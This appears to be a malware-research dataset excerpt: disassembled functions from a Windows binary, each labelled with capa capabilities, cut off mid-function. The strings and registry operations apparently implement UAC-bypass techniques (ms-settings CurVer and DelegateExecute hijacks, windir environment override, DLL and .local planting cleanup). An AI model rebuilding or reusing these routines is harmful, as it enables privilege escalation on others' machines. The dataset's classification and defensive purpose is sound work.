joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000581c
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rdi, rcx
lea rdx, [rbp + 0x180]
xor ebx, ebx
xor ecx, ecx
mov qword [rbp + 0x180], rbx
mov qword [rbp + 0x178], rbx
call fcn.14000f378
test eax, eax
js 0x1400059cf
mov rcx, qword [rbp + 0x180]
lea rax, [rbp + 0x178]
mov qword [rsp + 0x40], rbx
lea rdx, str.ms_windows_store
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400058d0
mov rcx, qword [rbp + 0x178]
lea r9d, [rbx + 1]
mov dword [rsp + 0x28], ebx
lea rdx, str.URL_Protocol
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.ms_windows_store
lea rcx, [rsp + 0x50]
call fcn.140001b70
lea rdx, str._shellopen
lea rcx, [rsp + 0x50]
call fcn.140001ac8
lea rdx, [0x14001da80]
lea rcx, [rsp + 0x50]
call fcn.140001ac8
lea rdx, str.command
lea rcx, [rsp + 0x50]
call fcn.140001ac8
mov rcx, qword [rbp + 0x180]
lea rax, [rbp + 0x178]
mov qword [rsp + 0x40], rbx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400059bb
mov rax, rdi
test rdi, rdi
jne 0x14000595f
mov rax, rbx
jmp 0x140005973
cmp word [rdi], bx
je 0x14000596d
add rax, 2
cmp word [rax], bx
jne 0x140005964
sub rax, rdi
sar rax, 1
mov rcx, qword [rbp + 0x178]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [0x14001dc38]
mov r9d, 1
mov qword [rsp + 0x20], rdi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x178]
sub ebx, eax
neg ebx
sbb ebx, ebx
and ebx, 0xc000014d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400059c0
mov ebx, 0xc000014d
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, ebx
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140005bd0
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rsi, r8
lea rax, [rsp + 0x68]
xor r14d, r14d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x1c8], r14d
mov r9d, 0x2001b
mov ebx, r14d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005d04
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x58], r14
xor r9d, r9d
mov qword [rsp + 0x50], r14
xor r8d, r8d
mov qword [rsp + 0x48], r14
xor edx, edx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x140005d04
mov edx, dword [rbp + 0x1c8]
test edx, edx
je 0x140005d04
lea rdi, [rbp - 0x80]
mov ecx, 0x20a
rep stosb byte [rdi], al
mov edi, r14d
test edx, edx
je 0x140005d04
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], r14
lea r9, [rsp + 0x70]
mov qword [rsp + 0x30], r14
lea r8, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov edx, edi
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x60], r14d
mov dword [rsp + 0x70], 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x140005cfa
cmp dword [rsp + 0x60], 3
jne 0x140005cf5
mov rdx, rsi
lea rcx, [rbp - 0x80]
call fcn.140001cd0
test rax, rax
je 0x140005cf5
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne 0x140005cf5
inc ebx
mov word [rbp - 0x80], r14w
inc edi
cmp edi, dword [rbp + 0x1c8]
jb 0x140005c88
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r11, [rsp + 0x290]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x140007700
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
lea rdx, str.DelegateExecute
lea rcx, [rax - 0x18]
mov dword [rax + 0x18], ebx
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], ebx
lea r9d, [rbx + 1]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_NtSetValueKey]
test eax, eax
js 0x14000778a
mov rax, rdi
test rdi, rdi
je 0x140007772
cmp word [rdi], bx
je 0x140007769
add rax, 2
cmp word [rax], bx
jne 0x140007760
mov rbx, rax
sub rbx, rdi
sar rbx, 1
lea eax, [rbx*2 + 2]
mov r9, rdi
xor edx, edx
mov dword [rsp + 0x20], eax
mov rcx, rsi
call fcn.14000d6f4
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x140007e10
Capabilities:
Delete registry key

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov qword [rax + 8], rcx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x188]
sub rsp, 0x260
mov r15, rdx
xor r12d, r12d
lea rdx, [rbp + 0x1a8]
mov qword [rbp + 0x190], r12
xor ecx, ecx
mov r14, r8
call fcn.14000f378
lea r13, str.lzx32
mov ebx, eax
test eax, eax
js 0x140008033
xor eax, eax
lea rdi, [rsp + 0x50]
mov ecx, 0x208
mov rdx, r13
rep stosb byte [rdi], al
lea rcx, [rsp + 0x50]
call fcn.140001b70
lea rdx, str._shellopen
lea rcx, [rsp + 0x50]
call fcn.140001ac8
lea rdx, [0x14001da80]
lea rcx, [rsp + 0x50]
call fcn.140001ac8
lea rdx, str.command
lea rcx, [rsp + 0x50]
call fcn.140001ac8
mov rcx, qword [rbp + 0x1a8]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x40], r12
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov edi, 0x2000000
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140007f49
mov rax, r14
test r14, r14
jne 0x140007f00
mov eax, r12d
jmp 0x140007f16
cmp word [r14], r12w
je 0x140007f10
add rax, 2
cmp word [rax], r12w
jne 0x140007f06
sub rax, r14
sar rax, 1
mov rcx, qword [rbp + 0x190]
lea eax, [rax*2 + 2]
mov r9, r14
mov dword [rsp + 0x20], eax
xor edx, edx
call fcn.14000d6f4
mov rcx, qword [rbp + 0x190]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
js 0x140008033
lea rdx, str.ms_settings
mov qword [rbp + 0x190], r12
lea rcx, [rsp + 0x50]
call fcn.140001b70
lea rdx, [0x14001da80]
lea rcx, [rsp + 0x50]
call fcn.140001ac8
lea rdx, str.CurVer
lea rcx, [rsp + 0x50]
call fcn.140001ac8
mov rcx, qword [rbp + 0x1a8]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x40], r12
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140008033
mov rax, r13
add rax, 2
cmp word [rax], r12w
jne 0x140007fc1
mov rcx, qword [rbp + 0x190]
sub rax, r13
sar rax, 1
mov r9, r13
xor edx, edx
lea eax, [rax*2 + 2]
mov dword [rsp + 0x20], eax
call fcn.14000d6f4
mov ebx, eax
test eax, eax
js 0x140008014
mov r9d, 5
mov dword [rsp + 0x20], 0x2ee0
xor r8d, r8d
xor edx, edx
mov rcx, r15
call fcn.14000da10
test eax, eax
cmovne ebx, r12d
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x1a8]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, qword [rbp + 0x1a8]
mov rdx, r13
call fcn.14000df6c
cmp qword [rbp + 0x1a8], r12
je 0x140008058
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtClose]
lea r11, [rsp + 0x260]
mov eax, ebx
mov rbx, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14000845c
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x430
mov rdx, qword [0x140025290]
lea rcx, [rsp + 0x20]
add rdx, 0x47c
call fcn.140001b70
xor edi, edi
lea rbx, [rsp + 0x20]
cmp word [rsp + 0x20], di
je 0x140008498
add rbx, 2
cmp word [rbx], di
jne 0x14000848f
lea rax, [rsp + 0x20]
sub rbx, rax
lea rdx, str.kmkze.msc
lea rcx, [rsp + 0x20]
sar rbx, 1
call fcn.140001ac8
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.readme.html
mov word [rsp + rbx*2 + 0x20], di
lea rcx, [rsp + 0x20]
call fcn.140001ac8
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, str.osk.exe
mov word [rsp + rbx*2 + 0x20], di
lea rcx, [rsp + 0x20]
call fcn.140001ac8
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rsp + 0x440]
add rsp, 0x430
pop rdi
ret
Function at 0x140009f30
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x430
sub ecx, 0x16
je 0x14000a038
sub ecx, 1
je 0x14000a006
sub ecx, 7
je 0x140009ff6
sub ecx, 6
je 0x14000a006
sub ecx, 1
je 0x140009fd5
sub ecx, 1
je 0x140009fcb
sub ecx, 0x25
je 0x140009ff6
sub ecx, 1
je 0x140009f92
cmp ecx, 1
jne 0x14000a07c
lea rdx, str.wbem_
lea rcx, str.ATL.dll
jmp 0x140009fff
mov rdx, qword [0x140025290]
lea rcx, [rsp + 0x20]
add rdx, 0x47c
call fcn.140001b70
lea rdx, str.iscsiexe.dll
lea rcx, [rsp + 0x20]
call fcn.140001ac8
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x14000a07c
call fcn.14000845c
jmp 0x14000a07c
mov rdx, qword [0x140025290]
lea rcx, [rsp + 0x20]
add rdx, 0x272
call fcn.140001b70
lea rdx, str.dccw.exe
jmp 0x14000a057
xor edx, edx
lea rcx, str.wow64log.dll
call fcn.140008520
jmp 0x14000a07c
mov rax, qword [0x140025290]
lea rdi, str.dismcore.dll
cmp dword [rax + 8], 0x4a61
sbb rbx, rbx
add rbx, 2
mov rcx, qword [rdi]
xor edx, edx
call fcn.140008520
lea rdi, [rdi + 8]
sub rbx, 1
jne 0x14000a022
jmp 0x14000a07c
mov rdx, qword [0x140025290]
lea rcx, [rsp + 0x20]
add rdx, 0x272
call fcn.140001b70
lea rdx, str.consent.exe
lea rcx, [rsp + 0x20]
call fcn.140001ac8
lea rdx, str..local
lea rcx, [rsp + 0x20]
call fcn.140001ac8
lea rcx, [rsp + 0x20]
call fcn.140009cb8
mov rbx, qword [rsp + 0x440]
add rsp, 0x430
pop rdi
ret
Function at 0x14000c0f4
Capabilities:
Delete file

Disassembly:
push rdi
sub rsp, 0x430
mov rdx, qword [0x140025290]
lea rdi, [rsp + 0x20]
xor eax, eax
mov ecx, 0x410
rep stosb byte [rdi], al
lea rcx, [rsp + 0x20]
add rdx, 0x47c
call fcn.140001b70
lea rdx, str.update.msu
lea rcx, [rsp + 0x20]
call fcn.140001ac8
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
add rsp, 0x430
pop rdi
ret

Function at 0x14000c6ac
Capabilities:
Create thread
Terminate thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x30
lea rax, [r11 + 0x10]
mov r9, rcx
mov qword [r11 - 0x10], rax
lea r8, [0x14000c274]
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x14000c762
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x14000c148]
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
je 0x14000c739
mov edx, 0x3a98
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x14000c730
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x2710
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x14000c759
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x140025240]
cmp ecx, 1
mov rsi, qword [rsp + 0x50]
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x14000d65c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x40
xor ebx, ebx
mov edi, r8d
mov dword [rax + 0x10], ebx
mov rsi, rdx
test rdx, rdx
je 0x14000d6da
test r8d, r8d
je 0x14000d6da
mov qword [rax - 0x18], rbx
xor r9d, r9d
mov dword [rax - 0x20], ebx
xor r8d, r8d
mov edx, 0x40000000
mov dword [rax - 0x28], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x14000d6da
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], rbx
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x58], edi
sete bl
mov eax, ebx
jmp 0x14000d6dc
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret

Function at 0x14000d6f4
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor eax, eax
mov rbx, r9
mov rdi, rcx
test rdx, rdx
je 0x14000d718
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
jmp 0x14000d721
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x70]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14000d750
Capabilities:
Delete registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x80
and qword [rbp + 0x10], 0
lea rcx, [rbp - 0x60]
and qword [rbp + 0x18], 0
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov ebx, eax
test eax, eax
js 0x14000d83d
and qword [rbp - 0x28], 0
lea rax, [rbp - 0x60]
xorps xmm0, xmm0
mov qword [rbp - 0x20], rax
lea r8, [rbp - 0x30]
mov dword [rbp - 0x30], 0x30
mov edx, 0x2000000
mov dword [rbp - 0x18], 0x40
lea rcx, [rbp + 0x10]
movdqu xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000d833
lea rdx, str.Environment
lea rcx, [rbp - 0x50]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x10]
lea r8, [rbp - 0x30]
mov qword [rbp - 0x28], rax
lea rcx, [rbp + 0x18]
lea rax, [rbp - 0x50]
mov edx, 0x2000000
mov qword [rbp - 0x20], rax
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000d829
lea rdx, str.Path
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rcx, qword [rbp + 0x18]
lea rdx, [rbp - 0x40]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
mov rcx, qword [rbp + 0x18]
mov ebx, eax
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, [rbp - 0x60]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, ebx
mov rbx, qword [rsp + 0xa0]
add rsp, 0x80
pop rbp
ret
Function at 0x14000d850
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r15, qword [rsp + 0x90]
mov r14, r9
and dword [rax + 0x20], 0
mov ebp, r8d
and qword [r9], 0
mov r12, rcx
mov rsi, qword [rsp + 0x98]
and dword [r15], 0
test rsi, rsi
jne 0x14000d8a2
mov rax, qword gs:[0x30]
mov r9, qword [rax + 0x60]
mov rsi, qword [r9 + 0x30]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
xor r9d, r9d
lea rax, [rsp + 0x88]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
and dword [rsp + 0x20], 0
mov rcx, r12
lea r8d, [r9 + 2]
call qword [sym.imp.ntdll.dll_NtQueryValueKey]
mov ebx, eax
cmp eax, 0xc0000023
jne 0x14000d995
mov r8d, dword [rsp + 0x88]
mov edx, 8
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x14000d990
mov ecx, dword [rsp + 0x88]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x20], ecx
mov r9, rdi
mov rcx, r12
mov r8d, 2
call qword [sym.imp.ntdll.dll_NtQueryValueKey]
mov ebx, eax
test eax, eax
js 0x14000d980
cmp dword [rdi + 4], ebp
jne 0x14000d97b
mov r8d, dword [rdi + 8]
mov edx, 8
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000d974
mov r8d, dword [rdi + 8]
lea rdx, [rdi + 0xc]
mov rcx, rax
call fcn.140013bc0
mov qword [r14], rbx
xor ebx, ebx
mov eax, dword [rdi + 8]
mov dword [r15], eax
jmp 0x14000d980
mov ebx, 0xc0000017
jmp 0x14000d980
mov ebx, 0xc0000024
mov r8, rdi
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x14000d995
mov ebx, 0xc0000017
mov rbp, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret

Function at 0x14000d9b0
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x90
mov r10, rcx
lea rdi, [rsp + 0x20]
xor eax, eax
lea r11d, [rax + 0x70]
mov ecx, r11d
rep stosb byte [rdi], al
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], r11d
mov dword [rsp + 0x24], 0x440
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x40], rdx
mov dword [rsp + 0x50], r9d
mov qword [rsp + 0x30], r8
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
neg eax
sbb rax, rax
and rax, qword [rsp + 0x88]
add rsp, 0x90
pop rdi
ret

Function at 0x14000da10
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor ebx, ebx
call fcn.14000d9b0
mov rdi, rax
test rax, rax
je 0x14000da5a
mov edx, dword [rsp + 0x50]
test edx, edx
je 0x14000da4c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0x102
cmp eax, edx
jne 0x14000da4c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14000da68
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edi, edx
xor esi, esi
mov r10, rcx
mov rdx, rcx
mov r8d, esi
lea r9d, [rdi + 1]
shr r9d, 1
je 0x14000daaa
movzx eax, word [rdx]
lea rdx, [rdx + 2]
add r8d, eax
mov ecx, r8d
movzx r8d, r8w
shr ecx, 0x10
add r8d, ecx
add r9d, 0xffffffff
jne 0x14000da8d
mov ebx, r8d
mov rcx, r10
shr ebx, 0x10
add bx, r8w
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
test rax, rax
je 0x14000dade
movzx ecx, word [rax + 0x58]
movzx eax, word [rax + 0x5a]
cmp bx, cx
adc cx, si
sub bx, cx
cmp bx, ax
adc ax, si
sub bx, ax
jmp 0x14000dae1
movzx ebx, si
mov rsi, qword [rsp + 0x38]
movzx eax, bx
mov rbx, qword [rsp + 0x30]
add eax, edi
add rsp, 0x20
pop rdi
ret

Function at 0x14000daf8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
and dword [rsp + 0x58], 0
mov rsi, r9
mov rbx, r8
mov rdi, rdx
test r8, r8
je 0x14000db1e
and dword [r8], 0
test rdi, rdi
jne 0x14000db2a
mov eax, 0xc00000f0
jmp 0x14000db86
and qword [rsp + 0x30], 0
lea r9, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov qword [rsp + 0x20], 0xa
mov r8d, 3
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
mov ecx, eax
test eax, eax
js 0x14000db84
mov rdx, qword [rsp + 0x60]
lea r9, [rsp + 0x58]
mov r8, rsi
mov rcx, rdi
call qword [sym.imp.ntdll.dll_LdrAccessResource]
mov ecx, eax
test eax, eax
js 0x14000db84
test rbx, rbx
je 0x14000db84
mov eax, dword [rsp + 0x58]
mov dword [rbx], eax
mov eax, ecx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x14000de28
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor r14d, r14d
test eax, eax
je 0x14000de84
lea rax, [rbp + 0x1a8]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000dea0
cmp eax, 2
jne 0x14000df62
mov eax, 1
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov rbx, rdi
test rdi, rdi
jne 0x14000dead
mov rbx, r14
jmp 0x14000debd
cmp word [rdi], r14w
je 0x14000debd
add rbx, 2
cmp word [rbx], r14w
jne 0x14000deb3
mov eax, 0x5c
cmp word [rbx - 2], ax
je 0x14000ded3
mov word [rbx], ax
add rbx, 2
mov word [rbx], r14w
mov r15d, 0x104
jmp 0x14000defd
mov r9, r15
lea r8, [rsp + 0x50]
mov rdx, r15
mov rcx, rbx
call fcn.140001bb0
mov rdx, rdi
mov rcx, rsi
call fcn.14000de28
test eax, eax
je 0x14000df3c
mov rcx, qword [rbp + 0x1a8]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
lea r9, [rbp + 0x1a0]
mov qword [rsp + 0x30], r14
lea r8, [rsp + 0x50]
mov qword [rsp + 0x28], r14
xor edx, edx
mov qword [rsp + 0x20], r14
mov dword [rbp + 0x1a0], r15d
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14000dedb
mov rcx, qword [rbp + 0x1a8]
mov word [rbx - 2], r14w
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x14000de84
xor eax, eax
jmp 0x14000de89
Function at 0x14000dfc0
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov rdi, r9
mov qword [rbp + 0x6f], r15
mov r14d, ecx
mov qword [rbp + 0x77], r15
mov esi, r15d
mov qword [rbp - 0x21], r15
mov ebx, 0xc0000001
test r9, r9
jne 0x14000e00b
test ecx, ecx
je 0x14000e16a
lea rcx, [rbp - 0x29]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov ebx, eax
test eax, eax
js 0x14000e13e
lea rax, [rbp - 0x29]
mov dword [rbp + 7], 0x30
xorps xmm0, xmm0
mov qword [rbp + 0x17], rax
lea r8, [rbp + 7]
mov qword [rbp + 0xf], r15
mov edx, 0x2000000
mov dword [rbp + 0x1f], 0x40
lea rcx, [rbp + 0x6f]
mov esi, 1
movdqu xmmword [rbp + 0x27], xmm0
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000e13e
lea rdx, str.Environment
lea rcx, [rbp - 9]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x6f]
lea r8, [rbp + 7]
mov qword [rbp + 0xf], rax
lea rcx, [rbp + 0x77]
lea rax, [rbp - 9]
mov edx, 0x2000000
mov qword [rbp + 0x17], rax
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov ebx, eax
test eax, eax
js 0x14000e13e
lea rdx, str.windir
lea rcx, [rbp - 0x19]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
test r14d, r14d
je 0x14000e0c7
mov rcx, qword [rbp + 0x77]
lea rdx, [rbp - 0x19]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
jmp 0x14000e10e
mov rax, rdi
test rdi, rdi
jne 0x14000e0d4
mov rax, r15
jmp 0x14000e0ea
cmp word [rdi], r15w
je 0x14000e0e4
add rax, 2
cmp word [rax], r15w
jne 0x14000e0da
sub rax, rdi
sar rax, 1
mov rcx, qword [rbp + 0x77]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x19]
mov r9d, esi
mov qword [rsp + 0x20], rdi
xor r8d, r8d
